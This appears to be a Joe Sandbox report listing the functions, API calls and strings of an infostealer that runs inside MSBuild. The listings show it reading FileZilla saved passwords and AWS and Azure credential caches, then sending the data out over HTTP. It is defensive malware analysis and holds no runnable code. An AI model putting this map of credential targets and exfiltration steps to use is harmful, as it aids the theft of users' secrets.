Associated: 00000001.00000002.1742578907.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: lstrcat$lstrlen$lstrcpy$AllocFileLocal$Heapstrtok_s$CloseCreateFolderFreeHandlePathProcessReadSizemallocmemsetstrncpy
String ID: <Host>$<Pass encoding="base64">$<Port>$<User>$NA$NA$\AppData\Roaming\FileZilla\recentservers.xml$browser: FileZilla$login: $password: $profile: null$url:
API String ID: 337689325-514892060
Opcode ID: 91fa73cd99cb08a8e86c39f4412a2c8f2f9dc26fe3a5757e69e2f36c05b42199
Instruction ID: d15eb70b6d553ab1cc94bc99ca27928082ec116ada4a7d19c18b432e65637ade
Opcode Fuzzy Hash: 91fa73cd99cb08a8e86c39f4412a2c8f2f9dc26fe3a5757e69e2f36c05b42199
Instruction Fuzzy Hash: 86D16D75A41208ABCB04FBF1DD86EEE7379FF14314F50441EF102A6091DE78AA96CB69

Function 00405100 Relevance: 53.1, APIs: 22, Strings: 8, Instructions: 569
stringnetworkmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0041A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0041A7E6

Part of subcall function 004047B0: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 004047EA
Part of subcall function 004047B0: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 00404801
Part of subcall function 004047B0: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 00404818
Part of subcall function 004047B0: lstrlenA.KERNEL32(00000000,00000000,0000003C), ref: 00404839
Part of subcall function 004047B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 00404849

lstrlenA.KERNEL32(00000000), ref: 00405193

Part of subcall function 00418EA0: CryptBinaryToStringA.CRYPT32(00000000,00405184,40000001,00000000,00000000,?,00405184), ref: 00418EC0

Part of subcall function 0041A740: lstrcpy.KERNEL32(B,00000000), ref: 0041A788

InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 00405207
StrCmpCA.SHLWAPI(?,01354E80), ref: 00405225
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00405340
HttpOpenRequestA.WININET(00000000,01354DB0,?,01356400,00000000,00000000,00400100,00000000), ref: 004053A4

Part of subcall function 0041A9B0: lstrlenA.KERNEL32(?,00421110,?,00000000,00420AEF), ref: 0041A9C5
Part of subcall function 0041A9B0: lstrcpy.KERNEL32(00000000), ref: 0041AA04
Part of subcall function 0041A9B0: lstrcatA.KERNEL32(00000000,00000000), ref: 0041AA12

Part of subcall function 0041A8A0: lstrcpy.KERNEL32(?,B), ref: 0041A905

Part of subcall function 0041A920: lstrcpy.KERNEL32(00000000,?), ref: 0041A972
Part of subcall function 0041A920: lstrcatA.KERNEL32(00000000), ref: 0041A982

lstrlenA.KERNEL32(00000000,00000000,?,",00000000,?,01354EA0,00000000,?,013499D0,00000000,?,004219DC,00000000,?,004151CF), ref: 00405737
lstrlenA.KERNEL32(00000000), ref: 0040574B
GetProcessHeap.KERNEL32(00000000,?), ref: 0040575C
HeapAlloc.KERNEL32(00000000), ref: 00405763
lstrlenA.KERNEL32(00000000), ref: 00405778
memcpy.MSVCRT(?,00000000,00000000), ref: 0040578F
lstrlenA.KERNEL32(00000000,00000000,00000000), ref: 004057A9
memcpy.MSVCRT(?), ref: 004057B6
lstrlenA.KERNEL32(00000000), ref: 004057C8
lstrlenA.KERNEL32(00000000,00000000,00000000), ref: 004057E1
memcpy.MSVCRT(?), ref: 004057F1
lstrlenA.KERNEL32(00000000,?,?), ref: 0040580E
HttpSendRequestA.WININET(00000000,00000000,00000000), ref: 00405822
InternetReadFile.WININET(00000000,?,000007CF,?), ref: 0040584D
InternetCloseHandle.WININET(00000000), ref: 004058B1
InternetCloseHandle.WININET(00000000), ref: 004058BE
InternetCloseHandle.WININET(00000000), ref: 004058C8

Strings

--, xrefs: 00405280
------, xrefs: 004053B7
", xrefs: 00405482
------, xrefs: 00405297
------, xrefs: 0040563B
", xrefs: 004055C4
------, xrefs: 004054F9
", xrefs: 00405706

Memory Dump Source

Source File: 00000001.00000002.1742578907.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1742578907.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: lstrlen$Internet$lstrcpy$??2@CloseHandlememcpy$HeapHttpOpenRequestlstrcat$AllocBinaryConnectCrackCryptFileProcessReadSendString
String ID: ------$"$"$"$--$------$------$------
API String ID: 2744873387-2774362122
Opcode ID: 7441479875cef0ade580cbc391c91beb22ce45f9220ebd172bd854f365a60cd9
Instruction ID: d07ba18edd097c444f0f2b194d739d2ed1db848351cdebbd5bd0839dcb06e227
Opcode Fuzzy Hash: 7441479875cef0ade580cbc391c91beb22ce45f9220ebd172bd854f365a60cd9
Instruction Fuzzy Hash: DA3262B1921118ABDB14FBA1DC91FEE7378BF14714F40415EF10662092DF782A9ACF69

Function 00405960 Relevance: 42.5, APIs: 19, Strings: 5, Instructions: 493
networkstringmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0041A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0041A7E6

Part of subcall function 004047B0: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 004047EA
Part of subcall function 004047B0: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 00404801
Part of subcall function 004047B0: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 00404818
Part of subcall function 004047B0: lstrlenA.KERNEL32(00000000,00000000,0000003C), ref: 00404839
Part of subcall function 004047B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 00404849

Part of subcall function 0041A740: lstrcpy.KERNEL32(B,00000000), ref: 0041A788

InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 004059F8
StrCmpCA.SHLWAPI(?,01354E80), ref: 00405A13
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00405B93
lstrlenA.KERNEL32(00000000,00000000,?,00000000,00000000,?,",00000000,?,013571D8,00000000,?,013499D0,00000000,?,00421A1C), ref: 00405E71
lstrlenA.KERNEL32(00000000), ref: 00405E82
GetProcessHeap.KERNEL32(00000000,?), ref: 00405E93
HeapAlloc.KERNEL32(00000000), ref: 00405E9A
lstrlenA.KERNEL32(00000000), ref: 00405EAF
memcpy.MSVCRT(?,00000000,00000000), ref: 00405EC6
lstrlenA.KERNEL32(00000000), ref: 00405ED8
lstrlenA.KERNEL32(00000000,00000000,00000000), ref: 00405EF1
memcpy.MSVCRT(?), ref: 00405EFE
lstrlenA.KERNEL32(00000000,?,?), ref: 00405F1B
HttpSendRequestA.WININET(00000000,00000000,00000000), ref: 00405F2F
InternetReadFile.WININET(00000000,?,000000C7,?), ref: 00405F4C
InternetCloseHandle.WININET(00000000), ref: 00405FB0
InternetCloseHandle.WININET(00000000), ref: 00405FBD
HttpOpenRequestA.WININET(00000000,01354DB0,?,01356400,00000000,00000000,00400100,00000000), ref: 00405BF8

Part of subcall function 0041A9B0: lstrlenA.KERNEL32(?,00421110,?,00000000,00420AEF), ref: 0041A9C5
Part of subcall function 0041A9B0: lstrcpy.KERNEL32(00000000), ref: 0041AA04
Part of subcall function 0041A9B0: lstrcatA.KERNEL32(00000000,00000000), ref: 0041AA12

Part of subcall function 0041A8A0: lstrcpy.KERNEL32(?,B), ref: 0041A905

Part of subcall function 0041A920: lstrcpy.KERNEL32(00000000,?), ref: 0041A972
Part of subcall function 0041A920: lstrcatA.KERNEL32(00000000), ref: 0041A982

InternetCloseHandle.WININET(00000000), ref: 00405FC7

Strings

------, xrefs: 00405D4C
------, xrefs: 00405C0B
", xrefs: 00405CD5
", xrefs: 00405E16
------, xrefs: 00405A96

Memory Dump Source

Source File: 00000001.00000002.1742578907.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1742578907.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: lstrlen$Internet$lstrcpy$??2@CloseHandle$HeapHttpOpenRequestlstrcatmemcpy$AllocConnectCrackFileProcessReadSend
String ID: "$"$------$------$------
API String ID: 1406981993-2180234286
Opcode ID: ff2809e59d642d75ae2231e13152c341e448feed54d3c5b347b93c7988f4c107
Instruction ID: 7b5b204680124ce1d4beb717fdfef1c68a0c63715f2d18b0248442adb904f056
Opcode Fuzzy Hash: ff2809e59d642d75ae2231e13152c341e448feed54d3c5b347b93c7988f4c107
Instruction Fuzzy Hash: 20124071821118ABCB15FBA1DC95FEEB378BF14314F50419EB10A62091DF782B9ACF69

Function 0040A790 Relevance: 40.8, APIs: 22, Strings: 1, Instructions: 538
stringmemoryfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0041AA70: StrCmpCA.SHLWAPI(00000000,00421470,0040D1A2,00421470,00000000), ref: 0041AA8F

GetProcessHeap.KERNEL32(00000000,05F5E0FF), ref: 0040AAC8
RtlAllocateHeap.NTDLL(00000000), ref: 0040AACF
StrCmpCA.SHLWAPI(00000000,ERROR_RUN_EXTRACTOR), ref: 0040ABE2
CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 0040A8B0

Part of subcall function 0041A820: lstrlenA.KERNEL32(00000000,?,?,00415B54,00420ADB,00420ADA,?,?,00416B16,00000000,?,01340578,?,0042110C,?,00000000), ref: 0041A82B
Part of subcall function 0041A820: lstrcpy.KERNEL32(B,00000000), ref: 0041A885

Part of subcall function 0041A9B0: lstrlenA.KERNEL32(?,00421110,?,00000000,00420AEF), ref: 0041A9C5
Part of subcall function 0041A9B0: lstrcpy.KERNEL32(00000000), ref: 0041AA04
Part of subcall function 0041A9B0: lstrcatA.KERNEL32(00000000,00000000), ref: 0041AA12

Part of subcall function 0041A8A0: lstrcpy.KERNEL32(?,B), ref: 0041A905

lstrcatA.KERNEL32(?,00000000,00000000,01354FE0,00421318,01354FE0,00421314), ref: 0040ACEB
lstrcatA.KERNEL32(?,00421320), ref: 0040ACFA
lstrcatA.KERNEL32(?,00000000), ref: 0040AD0D
lstrcatA.KERNEL32(?,00421324), ref: 0040AD1C
lstrcatA.KERNEL32(?,00000000), ref: 0040AD2F
lstrcatA.KERNEL32(?,00421328), ref: 0040AD3E
lstrcatA.KERNEL32(?,00000000), ref: 0040AD51
lstrcatA.KERNEL32(?,0042132C), ref: 0040AD60
lstrcatA.KERNEL32(?,00000000), ref: 0040AD73
lstrcatA.KERNEL32(?,00421330), ref: 0040AD82
lstrcatA.KERNEL32(?,00000000), ref: 0040AD95
lstrcatA.KERNEL32(?,00421334), ref: 0040ADA4
lstrcatA.KERNEL32(?,00000000), ref: 0040ADB7
lstrlenA.KERNEL32(?), ref: 0040AE0D
lstrlenA.KERNEL32(?), ref: 0040AE1C
memset.MSVCRT ref: 0040AE6B

Part of subcall function 0041A740: lstrcpy.KERNEL32(B,00000000), ref: 0041A788

Part of subcall function 0041A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0041A7E6

Part of subcall function 00409E10: memcmp.MSVCRT(?,v20,00000003), ref: 00409E2D

DeleteFileA.KERNEL32(00000000), ref: 0040AE97

Strings

ERROR_RUN_EXTRACTOR, xrefs: 0040ABD4

Memory Dump Source

Source File: 00000001.00000002.1742578907.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1742578907.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: lstrcat$lstrcpy$lstrlen$FileHeap$AllocateCopyDeleteProcessmemcmpmemset
String ID: ERROR_RUN_EXTRACTOR
API String ID: 4068497927-2709115261
Opcode ID: ced0eff40efd9150bf7058c5f0a69ec6d957ab4e1add547d67db042548885a46
Instruction ID: fed50cc6e1efdc3a052f26cf913ed6c17941c683d425eb673400a9e06eca0bf1
Opcode Fuzzy Hash: ced0eff40efd9150bf7058c5f0a69ec6d957ab4e1add547d67db042548885a46
Instruction Fuzzy Hash: D6127375951104ABDB04FBA1DD96EEE7339BF14314F50402EF407B2091DE38AE9ACB6A

Function 00414D70 Relevance: 35.1, APIs: 10, Strings: 10, Instructions: 119
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

memset.MSVCRT ref: 00414D87

Part of subcall function 00418DE0: SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?,?,000003E8), ref: 00418E0B

lstrcatA.KERNEL32(?,00000000), ref: 00414DB0
lstrcatA.KERNEL32(?,\.azure\), ref: 00414DCD

Part of subcall function 00414910: wsprintfA.USER32 ref: 0041492C
Part of subcall function 00414910: FindFirstFileA.KERNEL32(?,?), ref: 00414943

memset.MSVCRT ref: 00414E13
lstrcatA.KERNEL32(?,00000000), ref: 00414E3C
lstrcatA.KERNEL32(?,\.aws\), ref: 00414E59

Part of subcall function 00414910: StrCmpCA.SHLWAPI(?,00420FDC), ref: 00414971
Part of subcall function 00414910: StrCmpCA.SHLWAPI(?,00420FE0), ref: 00414987
Part of subcall function 00414910: FindNextFileA.KERNEL32(000000FF,?), ref: 00414B7D
Part of subcall function 00414910: FindClose.KERNEL32(000000FF), ref: 00414B92

memset.MSVCRT ref: 00414E9F
lstrcatA.KERNEL32(?,00000000), ref: 00414EC8
lstrcatA.KERNEL32(?,\.IdentityService\), ref: 00414EE5

Part of subcall function 00414910: wsprintfA.USER32 ref: 004149B0
Part of subcall function 00414910: StrCmpCA.SHLWAPI(?,004208D2), ref: 004149C5
Part of subcall function 00414910: wsprintfA.USER32 ref: 004149E2
Part of subcall function 00414910: PathMatchSpecA.SHLWAPI(?,?), ref: 00414A1E
Part of subcall function 00414910: lstrcatA.KERNEL32(?,01354D30,?,000003E8), ref: 00414A4A
Part of subcall function 00414910: lstrcatA.KERNEL32(?,00420FF8), ref: 00414A5C
Part of subcall function 00414910: lstrcatA.KERNEL32(?,?), ref: 00414A70
Part of subcall function 00414910: lstrcatA.KERNEL32(?,00420FFC), ref: 00414A82
Part of subcall function 00414910: lstrcatA.KERNEL32(?,?), ref: 00414A96
Part of subcall function 00414910: CopyFileA.KERNEL32(?,?,00000001), ref: 00414AAC
Part of subcall function 00414910: DeleteFileA.KERNEL32(?), ref: 00414B31

memset.MSVCRT ref: 00414F2B

Strings

\.aws\, xrefs: 00414E4D
\.IdentityService\, xrefs: 00414ED9
Azure\.azure, xrefs: 00414DD3
*.*, xrefs: 00414DD8
msal.cache, xrefs: 00414EF0
*.*, xrefs: 00414E64
Azure\.IdentityService, xrefs: 00414EEB
zaA, xrefs: 00414DF1, 00414E7D, 00414F09, 00414F34, 00414DF4, 00414E80, 00414F0C
\.azure\, xrefs: 00414DC1
Azure\.aws, xrefs: 00414E5F

Memory Dump Source

Source File: 00000001.00000002.1742578907.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1742578907.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: lstrcat$Filememset$Findwsprintf$Path$CloseCopyDeleteFirstFolderMatchNextSpec
String ID: *.*$*.*$Azure\.IdentityService$Azure\.aws$Azure\.azure$\.IdentityService\$\.aws\$\.azure\$msal.cache$zaA
API String ID: 4017274736-156832076
Opcode ID: db1a216aedd74860a16951c3aec18e6188285cd10d194618a9ff1a8e438ec7e3
Instruction ID: 18812f4626155d1e2a42465cb68794f5c6847905bec5d07e7ac1139e0e5490f3
Opcode Fuzzy Hash: db1a216aedd74860a16951c3aec18e6188285cd10d194618a9ff1a8e438ec7e3
Instruction Fuzzy Hash: 3141D6B9A4031467C710F7B0EC47FDD3738AB64704F404459B645660C2EEB897D98B9A

Function 0040CEF0 Relevance: 31.9, APIs: 21, Instructions: 374
stringmemoryfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0041A740: lstrcpy.KERNEL32(B,00000000), ref: 0041A788

Part of subcall function 0041A9B0: lstrlenA.KERNEL32(?,00421110,?,00000000,00420AEF), ref: 0041A9C5
Part of subcall function 0041A9B0: lstrcpy.KERNEL32(00000000), ref: 0041AA04
Part of subcall function 0041A9B0: lstrcatA.KERNEL32(00000000,00000000), ref: 0041AA12

Part of subcall function 0041A8A0: lstrcpy.KERNEL32(?,B), ref: 0041A905

Part of subcall function 00418B60: GetSystemTime.KERNEL32(?,01349A00,004205AE,?,?,?,?,?,?,?,?,?,00404963,?,00000014), ref: 00418B86

Part of subcall function 0041A920: lstrcpy.KERNEL32(00000000,?), ref: 0041A972
Part of subcall function 0041A920: lstrcatA.KERNEL32(00000000), ref: 0041A982

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 0040CF83
GetProcessHeap.KERNEL32(00000000,05F5E0FF), ref: 0040D0C7
RtlAllocateHeap.NTDLL(00000000), ref: 0040D0CE
lstrcatA.KERNEL32(?,00000000,01354FE0,00421474,01354FE0,00421470,00000000), ref: 0040D208
lstrcatA.KERNEL32(?,00421478), ref: 0040D217
lstrcatA.KERNEL32(?,00000000), ref: 0040D22A
lstrcatA.KERNEL32(?,0042147C), ref: 0040D239
lstrcatA.KERNEL32(?,00000000), ref: 0040D24C
lstrcatA.KERNEL32(?,00421480), ref: 0040D25B
lstrcatA.KERNEL32(?,00000000), ref: 0040D26E
lstrcatA.KERNEL32(?,00421484), ref: 0040D27D
lstrcatA.KERNEL32(?,00000000), ref: 0040D290
lstrcatA.KERNEL32(?,00421488), ref: 0040D29F
lstrcatA.KERNEL32(?,00000000), ref: 0040D2B2
lstrcatA.KERNEL32(?,0042148C), ref: 0040D2C1
lstrcatA.KERNEL32(?,00000000), ref: 0040D2D4
lstrcatA.KERNEL32(?,00421490), ref: 0040D2E3

Part of subcall function 0041A820: lstrlenA.KERNEL32(00000000,?,?,00415B54,00420ADB,00420ADA,?,?,00416B16,00000000,?,01340578,?,0042110C,?,00000000), ref: 0041A82B
Part of subcall function 0041A820: lstrcpy.KERNEL32(B,00000000), ref: 0041A885

lstrlenA.KERNEL32(?), ref: 0040D32A
lstrlenA.KERNEL32(?), ref: 0040D339
memset.MSVCRT ref: 0040D388

Part of subcall function 0041AA70: StrCmpCA.SHLWAPI(00000000,00421470,0040D1A2,00421470,00000000), ref: 0041AA8F

DeleteFileA.KERNEL32(00000000), ref: 0040D3B4

Memory Dump Source

Source File: 00000001.00000002.1742578907.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1742578907.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: lstrcat$lstrcpy$lstrlen$FileHeap$AllocateCopyDeleteProcessSystemTimememset
String ID:
API String ID: 1973479514-0
Opcode ID: d6f2d6b1cef7fab6a877228a83399a222af4b6dabdae855cd259993beb0448bd
Instruction ID: 94f9062ed3f4a6e26da847402fe0a382ec35b8ad99342330bde04fa79d6a5422
Opcode Fuzzy Hash: d6f2d6b1cef7fab6a877228a83399a222af4b6dabdae855cd259993beb0448bd
Instruction Fuzzy Hash: D2E17D75950108ABCB04FBE1DD96EEE7379BF14304F10405EF107B60A1DE38AA5ACB6A

Function 00418320 Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 196registryCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A740: lstrcpy.KERNEL32(B,00000000), ref: 0041A788

RegOpenKeyExA.KERNEL32(00000000,013534E0,00000000,00020019,00000000,004205B6), ref: 004183A4
RegEnumKeyExA.KERNEL32(00000000,00000000,?,00000400,00000000,00000000,00000000,00000000), ref: 00418426
wsprintfA.USER32 ref: 00418459
RegOpenKeyExA.KERNEL32(00000000,?,00000000,00020019,00000000), ref: 0041847B
RegCloseKey.ADVAPI32(00000000), ref: 0041848C
RegCloseKey.ADVAPI32(00000000), ref: 00418499

Part of subcall function 0041A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0041A7E6

Strings

- , xrefs: 004185A3
?, xrefs: 0041837A
%s\%s, xrefs: 0041844D

Memory Dump Source

Source File: 00000001.00000002.1742578907.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1742578907.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
